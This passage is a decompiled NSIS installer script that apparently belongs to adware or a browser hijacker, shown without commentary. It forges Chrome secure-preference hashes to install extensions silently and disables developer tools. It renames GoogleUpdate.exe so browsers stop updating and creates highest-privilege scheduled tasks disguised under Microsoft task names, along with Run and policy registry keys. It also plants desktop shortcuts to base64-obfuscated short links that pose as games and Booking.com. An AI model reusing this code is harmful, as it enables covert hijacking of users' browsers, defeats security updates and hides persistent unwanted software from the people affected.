StrCpy $_47_ "$APPDATA\Opera Software\Opera Stable\Bookmarks"
Call func_12634
Call func_6768
label_5725:
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data" 0 label_5778
ClearErrors
ReadRegStr $9 HKCU Software\Yandex\YandexBrowser ap
IfErrors label_5730
StrCmp $9 dev label_5731
label_5730:
WriteRegStr HKCU Software\Yandex\YandexBrowser ap dev
label_5731:
StrCpy $_40_ ""
ClearErrors
ReadRegStr $9 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\YandexBrowser DisplayVersion
IfErrors label_5736
Push x16.4.0
label_5736:
Push x$9
Call func_19243
Pop $_40_
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default" 0 label_5748
StrCpy $_25_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default"
StrCmp $_32_ 1 0 label_5746
StrCpy $_64_ $_25_
Call func_8944
Call func_7085
Goto label_5748
label_5746:
Call func_6810
Call func_7085
label_5748:
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\*" 0 label_5774
StrCpy $_19_ ""
StrCpy $_22_ ""
StrCpy $_23_ 1
FindFirst $_19_ $_22_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\*"
label_5753:
StrCmp $_22_ "" label_5773
Push "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\$_22_"
Call :label_5631
Pop $1
StrCmp $1 -1 label_5769
StrCmp $_22_ Default label_5769
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\$_22_\Preferences" 0 label_5769
StrCpy $_25_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\$_22_"
StrCmp $_32_ 1 0 label_5766
StrCpy $_64_ $_25_
Call func_8944
Call func_7085
Goto label_5769
label_5766:
Call func_6810
IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default" label_5769
Call func_7085
label_5769:
IntOp $_23_ $_23_ + 1
IntCmp $_23_ 300 label_5773 0 label_5773
FindNext $_19_ $_22_
Goto label_5753
label_5773:
FindClose $_19_
label_5774:
StrCmp $_40_ 2 label_5776
StrCpy $_39_ 0
label_5776:
Call func_12846
Goto label_5783
label_5778:
StrCmp $_32_ 1 label_5783
CreateDirectory "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default"
StrCpy $_47_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Bookmarks"
Call func_12634
Call func_7299
label_5783:
IfFileExists "$LOCALAPPDATA\Amigo\User Data" 0 label_5816
IfFileExists "$LOCALAPPDATA\Amigo\User Data\Default" 0 label_5791
StrCpy $_26_ "$LOCALAPPDATA\Amigo\User Data\Default"
StrCmp $_32_ 1 0 label_5790
StrCpy $_64_ $_26_
Call func_8944
Goto label_5791
label_5790:
Call func_7385
label_5791:
IfFileExists "$LOCALAPPDATA\Amigo\User Data\*" 0 label_5814
StrCpy $_19_ ""
StrCpy $_22_ ""
StrCpy $_23_ 1
FindFirst $_19_ $_22_ "$LOCALAPPDATA\Amigo\User Data\*"
label_5796:
StrCmp $_22_ "" label_5813
Push "$LOCALAPPDATA\Amigo\User Data\$_22_"
Call :label_5631
Pop $1
StrCmp $1 -1 label_5809
StrCmp $_22_ Default label_5809
IfFileExists "$LOCALAPPDATA\Amigo\User Data\$_22_\Extension Data" 0 label_5809
StrCpy $_26_ "$LOCALAPPDATA\Amigo\User Data\$_22_"
StrCmp $_32_ 1 0 label_5808
StrCpy $_64_ $_26_
Call func_8944
Goto label_5809
label_5808:
Call func_7385
label_5809:
IntOp $_23_ $_23_ + 1
IntCmp $_23_ 300 label_5813 0 label_5813
FindNext $_19_ $_22_
Goto label_5796
label_5813:
FindClose $_19_
label_5814:
Call func_13101
Goto label_5821
label_5816:
StrCmp $_32_ 1 label_5821
CreateDirectory "$LOCALAPPDATA\Amigo\User Data\Default"
StrCpy $_47_ "$LOCALAPPDATA\Amigo\User Data\Default\Bookmarks"
Call func_12634
Call func_7720
label_5821:
IfFileExists "$LOCALAPPDATA\Nichrome\User Data" 0 label_5854
IfFileExists "$LOCALAPPDATA\Nichrome\User Data\Default" 0 label_5829
StrCpy $_27_ "$LOCALAPPDATA\Nichrome\User Data\Default"
StrCmp $_32_ 1 0 label_5828
StrCpy $_64_ $_27_
Call func_8944
Goto label_5829
label_5828:
Call func_7765
label_5829:
IfFileExists "$LOCALAPPDATA\Nichrome\User Data\*" 0 label_5852
StrCpy $_19_ ""
StrCpy $_22_ ""
StrCpy $_23_ 1
FindFirst $_19_ $_22_ "$LOCALAPPDATA\Nichrome\User Data\*"
label_5834:
StrCmp $_22_ "" label_5851
Push "$LOCALAPPDATA\Nichrome\User Data\$_22_"
Call :label_5631
Pop $1
StrCmp $1 -1 label_5847
StrCmp $_22_ Default label_5847
IfFileExists "$LOCALAPPDATA\Nichrome\User Data\$_22_\Preferences" 0 label_5847
StrCpy $_27_ "$LOCALAPPDATA\Nichrome\User Data\$_22_"
StrCmp $_32_ 1 0 label_5846
StrCpy $_64_ $_27_
Call func_8944
Goto label_5847
label_5846:
Call func_7765
label_5847:
IntOp $_23_ $_23_ + 1
IntCmp $_23_ 300 label_5851 0 label_5851
FindNext $_19_ $_22_
Goto label_5834
label_5851:
FindClose $_19_
label_5852:
Call func_13017
Goto label_5856
label_5854:
StrCmp $_32_ 1 label_5856
Call func_7893
label_5856:
IfFileExists "$LOCALAPPDATA\Kometa\User Data" 0 label_5889
IfFileExists "$LOCALAPPDATA\Kometa\User Data\Default" 0 label_5864
StrCpy $_29_ "$LOCALAPPDATA\Kometa\User Data\Default"
StrCmp $_32_ 1 0 label_5863
StrCpy $_64_ $_29_
Call func_8944
Goto label_5864
label_5863:
Call func_7990
label_5864:
IfFileExists "$LOCALAPPDATA\Kometa\User Data\*" 0 label_5887
StrCpy $_19_ ""
StrCpy $_22_ ""
StrCpy $_23_ 1
FindFirst $_19_ $_22_ "$LOCALAPPDATA\Kometa\User Data\*"
label_5869:
StrCmp $_22_ "" label_5886
Push "$LOCALAPPDATA\Kometa\User Data\$_22_"
Call :label_5631
Pop $1
StrCmp $1 -1 label_5882
StrCmp $_22_ Default label_5882
IfFileExists "$LOCALAPPDATA\Kometa\User Data\$_22_\Extension Data" 0 label_5882
StrCpy $_29_ "$LOCALAPPDATA\Kometa\User Data\$_22_"
StrCmp $_32_ 1 0 label_5881
StrCpy $_64_ $_29_
Call func_8944
Goto label_5882
label_5881:
Call func_7990
label_5882:
IntOp $_23_ $_23_ + 1
IntCmp $_23_ 300 label_5886 0 label_5886
FindNext $_19_ $_22_
Goto label_5869
label_5886:
FindClose $_19_
label_5887:
Call func_13113
Goto label_5894
label_5889:
StrCmp $_32_ 1 label_5894
CreateDirectory "$LOCALAPPDATA\Kometa\User Data\Default"
StrCpy $_47_ "$LOCALAPPDATA\Kometa\User Data\Default\Bookmarks"
Call func_12634
Call func_8134
label_5894:
IfFileExists "$PROGRAMFILES\Mozilla Firefox" 0 label_5898
StrCmp $_32_ 1 label_5898
Call func_8179
Call func_12960
label_5898:
Call func_5901
SetAutoClose true
SectionEnd
Function func_5901
IfFileExists $COMMONFILES\TopLink label_5903
CreateDirectory $COMMONFILES\TopLink
label_5903:
SetOutPath $PLUGINSDIR
SetOverwrite on
AllowSkipFiles on
File imgtl.zip
nsisunz::Unzip $PLUGINSDIR\imgtl.zip $COMMONFILES\TopLink
; Call Initialize_____Plugins
; SetOverwrite off
; AllowSkipFiles off
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $COMMONFILES\TopLink
; Push $PLUGINSDIR\imgtl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
ClearErrors
ReadINIStr $1 $EXEDIR\le TL AE
IfErrors 0 label_5925
IfFileExists $COMMONFILES\TopLink\AE.ico 0 label_5925
StrCpy $1 AAAaHR0cDovL2xuay5kby8wY0tuNw== "" 3
Push $1
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $1
SetShellVarContext all
CreateShortCut $DESKTOP\Aliexpress.lnk $1 "" $COMMONFILES\TopLink\AE.ico
CreateShortCut $STARTMENU\Aliexpress.lnk $1 "" $COMMONFILES\TopLink\AE.ico
SetShellVarContext current
WriteINIStr $EXEDIR\le TL AE true
label_5925:
ClearErrors
ReadINIStr $1 $EXEDIR\le TL BD
IfErrors 0 label_5939
IfFileExists $COMMONFILES\TopLink\BD.ico 0 label_5939
StrCpy $1 AAAaHR0cDovL2xuay5kby9oVjM2Tg== "" 3
Push $1
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $1
SetShellVarContext all
CreateShortCut "$DESKTOP\Black Desert.lnk" $1 "" $COMMONFILES\TopLink\BD.ico
CreateShortCut "$STARTMENU\Black Desert.lnk" $1 "" $COMMONFILES\TopLink\BD.ico
SetShellVarContext current
WriteINIStr $EXEDIR\le TL BD true
label_5939:
ClearErrors
ReadINIStr $1 $EXEDIR\le TL SC
IfErrors 0 label_5953
IfFileExists $COMMONFILES\TopLink\SC.ico 0 label_5953
StrCpy $1 AAAaHR0cDovL2xuay5kby9BdGdFVA== "" 3
Push $1
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $1
SetShellVarContext all
CreateShortCut "$DESKTOP\Star Conflict.lnk" $1 "" $COMMONFILES\TopLink\SC.ico
CreateShortCut "$STARTMENU\Star Conflict.lnk" $1 "" $COMMONFILES\TopLink\SC.ico
SetShellVarContext current
WriteINIStr $EXEDIR\le TL SC true
label_5953:
ClearErrors
ReadINIStr $1 $EXEDIR\le TL WT
IfErrors 0 label_5967
IfFileExists $COMMONFILES\TopLink\WT.ico 0 label_5967
StrCpy $1 AAAaHR0cDovL2xuay5kby9CTENXMw== "" 3
Push $1
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $1
SetShellVarContext all
CreateShortCut "$DESKTOP\War Thunder.lnk" $1 "" $COMMONFILES\TopLink\WT.ico
CreateShortCut "$STARTMENU\War Thunder.lnk" $1 "" $COMMONFILES\TopLink\WT.ico
SetShellVarContext current
WriteINIStr $EXEDIR\le TL WT true
label_5967:
ClearErrors
ReadINIStr $1 $EXEDIR\le TL SS
IfErrors 0 label_5981
IfFileExists $COMMONFILES\TopLink\SS.ico 0 label_5981
StrCpy $1 AAAaHR0cDovL2xuay5kby9XbEo0Ng== "" 3
Push $1
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $1
SetShellVarContext all
CreateShortCut $DESKTOP\Íîâîñòè.lnk $1 "" $COMMONFILES\TopLink\SS.ico
CreateShortCut $STARTMENU\Íîâîñòè.lnk $1 "" $COMMONFILES\TopLink\SS.ico
SetShellVarContext current
WriteINIStr $EXEDIR\le TL SS true
label_5981:
ClearErrors
ReadINIStr $1 $EXEDIR\le TL BG
IfErrors 0 label_5995
IfFileExists $COMMONFILES\TopLink\BG.ico 0 label_5995
StrCpy $1 AAAaHR0cDovL2xuay5kby8yNkJhVQ== "" 3
Push $1
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $1
SetShellVarContext all
CreateShortCut $DESKTOP\Booking.com.lnk $1 "" $COMMONFILES\TopLink\BG.ico
CreateShortCut $STARTMENU\Booking.com.lnk $1 "" $COMMONFILES\TopLink\BG.ico
SetShellVarContext current
WriteINIStr $EXEDIR\le TL BG true
label_5995:
ClearErrors
ReadINIStr $1 $EXEDIR\le TL FE
IfErrors 0 label_6009
IfFileExists $COMMONFILES\TopLink\FE.ico 0 label_6009
StrCpy $1 AAAaHR0cDovL2xuay5kby9MbHZCaQ== "" 3
Push $1
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $1
SetShellVarContext all
CreateShortCut "$DESKTOP\Forge of Empires.lnk" $1 "" $COMMONFILES\TopLink\FE.ico
CreateShortCut "$STARTMENU\Forge of Empires.lnk" $1 "" $COMMONFILES\TopLink\FE.ico
SetShellVarContext current
WriteINIStr $EXEDIR\le TL FE true
label_6009:
FunctionEnd
Function .onInstSuccess
HideWindow
StrCmp $_32_ 1 label_6018
StrCmp $_151_ 1 0 label_6014
WriteINIStr $EXEDIR\le LE NTSS 1
label_6014:
StrCmp $_81_ 1 0 label_6016
WriteINIStr $EXEDIR\le LE WSEDJN 1
label_6016:
StrCmp $_82_ 1 0 label_6018
WriteINIStr $EXEDIR\le LE WSEBAP 1
label_6018:
IfFileExists $COMMONFILES\$_44_ 0 label_6020
RMDir /r /REBOOTOK $COMMONFILES\$_44_
label_6020:
Delete /REBOOTOK $EXEDIR\*.tmp
RMDir /r /REBOOTOK $PLUGINSDIR
StrCmp $_32_ 1 label_6163
StrCpy $5 SB
StrCpy $7 1
nsExec::ExecToStack "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$5$\" /sc ONLOGON /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --safebrowser$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$5$\" /sc ONLOGON /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --safebrowser$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Pop $7
StrCmp $7 0 0 label_6053
nsExec::Exec "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$5$\" > $PLUGINSDIR\TaskSB.xml"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$5$\" > $PLUGINSDIR\TaskSB.xml"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
IfFileExists $PLUGINSDIR\TaskSB.xml 0 label_6052
Push $0
Push $PLUGINSDIR\TaskSB.xml
Push ""
Push 1:-1
StrCpy $0 12052
Push $0
Call :label_4862
Pop $0
nsExec::ExecToStack "schtasks /create /tn $\"\Microsoft\Windows\$_153_$5$\" /xml $\"$PLUGINSDIR\TaskSB.xml$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /create /tn $\"\Microsoft\Windows\$_153_$5$\" /xml $\"$PLUGINSDIR\TaskSB.xml$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete $PLUGINSDIR\TaskSB.xml
label_6052:
Goto label_6054
label_6053:
WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $_153_$5 "$\"$EXEPATH$\" /S --safebrowser"
label_6054:
StrCpy $1 "reg add $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run$\" /v $\"$_153_$5$\" /t reg_sz /d $\"$\"$\"$\"$EXEPATH$\"$\"$\" /S --safebrowser$\" /f"
nsExec::Exec "cmd /k $1 /reg:64 || $1"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k $1 /reg:64 || $1"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
ClearErrors
ReadRegStr $1 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce $_153_
IfErrors label_6064
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce $_153_
label_6064:
SetShellVarContext all
IfFileExists $SMSTARTUP\$_153_.lnk 0 label_6067
Delete $SMSTARTUP\$_153_.lnk
label_6067:
IfFileExists $SMSTARTUP\extsetup.lnk 0 label_6069
Delete $SMSTARTUP\extsetup.lnk
label_6069:
SetShellVarContext current
IfFileExists $SMSTARTUP\Safebrowser.lnk 0 label_6072
Delete $SMSTARTUP\Safebrowser.lnk
label_6072:
IfFileExists $EXEDIR\extsetup.log 0 label_6075
Rename $EXEDIR\extsetup.log $EXEDIR\log ; $EXEDIR\extsetup.log->$EXEDIR\log
Delete /REBOOTOK $EXEDIR\extsetup.log
label_6075:
StrCpy $R8 0
IfFileExists $EXEDIR\log 0 label_6081
ClearErrors
ReadINIStr $R8 $EXEDIR\log log sn
IfErrors 0 label_6081
StrCpy $R8 0
label_6081:
StrCpy $5 RunOnce
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\$_153_$5$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\$_153_$5$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\$_153_$5$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\$_153_$5$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn extsetup /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn extsetup /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn extsetuponce /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn extsetuponce /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\SafeBrowser$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\SafeBrowser$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\SafeBrowser$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\SafeBrowser$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\extsetuponce$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\extsetuponce$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\extsetuponce$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\extsetuponce$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
StrCmp $_153_ extsetup label_6133
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\extsetup$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\extsetup$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\extsetup$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\extsetup$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_6133:
Delete /REBOOTOK $EXEDIR\rsext
Call func_6165
StrCmp $_31_ 1 label_6163
StrCpy $7 1
nsExec::ExecToStack "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$\" /sc daily /mo 3 /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --setresetup$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$\" /sc daily /mo 3 /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --setresetup$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Pop $7
nsExec::Exec "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$\" > $PLUGINSDIR\TaskES.xml"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$\" > $PLUGINSDIR\TaskES.xml"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
IfFileExists $PLUGINSDIR\TaskES.xml 0 label_6163
Push $0
Push $PLUGINSDIR\TaskES.xml
Push ""
Push 1:-1
StrCpy $0 12052
Push $0
Call :label_4862
Pop $0
nsExec::ExecToStack "schtasks /create /tn $\"\Microsoft\Windows\$_153_$\" /xml $\"$PLUGINSDIR\TaskES.xml$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /create /tn $\"\Microsoft\Windows\$_153_$\" /xml $\"$PLUGINSDIR\TaskES.xml$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete $PLUGINSDIR\TaskES.xml
label_6163:
Quit
FunctionEnd
Function func_6165
IntOp $R8 $R8 + 1
ClearErrors
WriteINIStr $EXEDIR\log log sn $R8
IfErrors 0 label_6173
FileOpen $5 $EXEDIR\log w
FileWrite $5 [log]$\r$\n
FileWrite $5 sn=$R8
FileClose $5
label_6173:
FunctionEnd
Function func_6174
Call func_12622
ClearErrors
ReadRegStr $9 HKLM SOFTWARE\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} ap
IfErrors label_6179
StrCmp $9 multi-chrome label_6180
label_6179:
WriteRegStr HKLM SOFTWARE\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} ap multi-chrome
label_6180:
ClearErrors
ReadRegStr $9 HKLM SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96} ap
IfErrors label_6184
StrCmp $9 multi-chrome label_6185
label_6184:
WriteRegStr HKLM SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96} ap multi-chrome
label_6185:
IfFileExists $PROGRAMFILES\Google\Update\GoogleUpdate.exe 0 label_6187
Rename /REBOOTOK $PROGRAMFILES\Google\Update\GoogleUpdate.exe $PROGRAMFILES\Google\Update\GoogleUpdàtå.exe ; $PROGRAMFILES\Google\Update\GoogleUpdate.exe->$PROGRAMFILES\Google\Update\GoogleUpdàtå.exe
label_6187:
IfFileExists "$_24_\Secure Preferences" label_6262
StrCpy $_38_ 1
IfFileExists $_24_\Preferences 0 label_6494
CopyFiles /SILENT $_24_\Preferences $_24_\Preferences-install ; $(LSTR_7)$_24_\Preferences-install ; "Copy to "
StrCpy $_30_ $_24_\Preferences-install
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get browser /end
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push browser
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_6233
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_6233:
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set devtools disabled /value true
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push true
; Push /value
; Push disabled
; Push devtools
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
IfErrors label_6256
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_6256:
Call func_13286
Delete $_24_\Preferences
CopyFiles /SILENT $_24_\Preferences-install $_24_\Preferences ; $(LSTR_7)$_24_\Preferences ; "Copy to "
Delete /REBOOTOK $_24_\Preferences-install
RMDir /r /REBOOTOK "$_24_\Sync Data Backup"
Goto label_6494
label_6262:
Delete "$_24_\Secure Preferences-install"
CopyFiles /SILENT "$_24_\Secure Preferences" "$_24_\Secure Preferences-install" ; "$(LSTR_7)$_24_\Secure Preferences-install" ; "Copy to "
StrCpy $_30_ "$_24_\Secure Preferences-install"
ClearErrors
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_6306
Call func_9058
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
label_6306:
Call func_11125
IfFileExists $_24_\Extensions\$_51_ 0 label_6309
RMDir /r $_24_\Extensions\$_51_
label_6309:
StrCmp $_63_ "" 0 label_6312
Call func_4709
Pop $_63_
label_6312:
StrCmp $_60_ "" 0 label_6327
ALPHAGHAMI::GHASH $_55_ $_63_ $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Push $_72_
; Push $_71_
; Push $_70_
; Push $_69_
; Push $_68_
; Push $_67_
; Push $_63_
; Push $_55_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_60_
label_6327:
Push $_30_
Push $_51_
Push $PLUGINSDIR\SecurePreferences
Push $_60_
Call func_11497
nsisunz::Unzip $PLUGINSDIR\sl.zip $_24_\Extensions\$_51_\$_54_
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_24_\Extensions\$_51_\$_54_
; Push $PLUGINSDIR\sl.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6342
Delete $_24_\Extensions\$_51_\$_54_\img\48.png
IfFileExists $_24_\Extensions\$_51_\$_54_\img\48.png label_6342
CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_24_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_24_\Extensions\$_51_\$_54_\img\48.png ; "Copy to "
label_6342:
StrCpy $_45_ $_24_\Extensions\$_51_\$_54_
Call func_12133
StrCmp 1 1 0 label_6380
ClearErrors
ReadINIStr $1 $EXEDIR\le LE NTSS
IfErrors 0 label_6380
Call func_11290
IfFileExists $_24_\Extensions\$_138_ 0 label_6351
RMDir /r $_24_\Extensions\$_138_
label_6351:
StrCmp $_141_ "" 0 label_6366
ALPHAGHAMI::GHASH $_140_ $_63_ $_142_ $_144_ $_145_ $_146_ "" "" E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8
; Push ""
; Push ""
; Push $_146_
; Push $_145_
; Push $_144_
; Push $_142_
; Push $_63_
; Push $_140_
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH
Pop $_141_
label_6366:
Push $_30_
Push $_138_
Push $PLUGINSDIR\SecurePreferencesNTCH
Push $_141_
Call func_11497
nsisunz::Unzip $PLUGINSDIR\nt.zip $_24_\Extensions\$_138_\$_139_
; Call Initialize_____Plugins
